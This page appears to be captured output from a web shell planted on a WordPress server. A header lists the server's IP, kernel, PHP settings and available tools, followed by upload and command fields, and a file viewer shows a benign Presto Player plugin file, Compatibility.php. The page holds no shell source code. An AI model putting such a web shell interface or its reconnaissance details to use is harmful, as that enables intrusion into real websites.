403Webshell
Server IP : 193.146.211.90  /  Your IP : 10.85.6.55
Web Server : Apache
System : Linux wordpress-gti-69dcdb54f7-n4wdq 6.11.8-arch1-2 #1 SMP PREEMPT_DYNAMIC Fri, 15 Nov 2024 15:35:07 +0000 x86_64
User : 1001 ( 1001)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/presto-player/inc/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/presto-player/inc/Services//Compatibility.php
<?php

namespace PrestoPlayer\Services;

class Compatibility {

	public function register() {
		// wp rocket compat
		add_action( 'rocket_exclude_js', array( $this, 'excludeComponentsFile' ) );

		// siteground optimize
		add_action( 'sgo_js_minify_exclude', array( $this, 'excludeHandle' ) );

		// godaddy's shitty feedback modal
		add_action( 'admin_enqueue_scripts', array( $this, 'goDaddyModal' ), 99 );

		// allow our player html
		add_filter( 'wp_kses_allowed_html', array( $this, 'allowHtml' ), 11 );

		// allow our css variables in safe css.
		add_filter( 'safe_style_css', array( $this, 'safeCSS' ) );
	}

	/**
	 * Allows our css variables to be outputted wp_kses_allowed_html
	 *
	 * @param array $styles Array of allowed styles.
	 * @return array
	 */
	public function safeCSS( $styles ) {
		$player_styles = array(
			'--plyr-color-main',
			'--plyr-captions-background',
			'--presto-player-border-radius',
			'--presto-player-logo-width',
			'--presto-player-email-border-radius',
			'--presto-player-button-border-radius',
			'--presto-player-button-color',
			'--presto-player-button-text',
			'--presto-player-cta-background-opacity',
			'--plyr-audio-controls-background',
			'--plyr-audio-control-color',
			'--plyr-range-thumb-background',
			'--plyr-range-fill-background',
		);
		return array_merge( $player_styles, $styles );
	}

	/**
	 * Lets us use our player tag in content.
	 *
	 * @param  array $tags Allowed tags.
	 * @return array
	 */
	public function allowHtml( $tags ) {
		$tags['presto-player'] = array(
			'direction'   => true,
			'css'         => true,
			'skin'        => true,
			'icon-url'    => true,
			'id'          => true,
			'src'         => true,
			'css'         => true,
			'class'       => true,
			'preload'     => true,
			'poster'      => true,
			'playsinline' => true,
			'autoplay'    => true,
		);
		return $tags;
	}

	public function goDaddyModal() {
		global $post_type;
		if ( 'pp_video_block' == $post_type ) {
			wp_dequeue_script( 'nextgen-feedback-modal' );
		}
	}

	/**
	 * Exclude module by file
	 *
	 * @param array $excluded_js
	 * @return array
	 */
	public function excludeComponentsFile( $excluded_js ) {
		$excluded_js[] = str_replace( home_url(), '', PRESTO_PLAYER_PLUGIN_URL . 'dist/components/web-components/web-components.esm.js' );

		return $excluded_js;
	}

	/**
	 * Exclude module by handle
	 *
	 * @param array $handles
	 * @return array
	 */
	public function excludeHandle( $handles ) {
		$handles[] = 'presto-components';
		return $handles;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit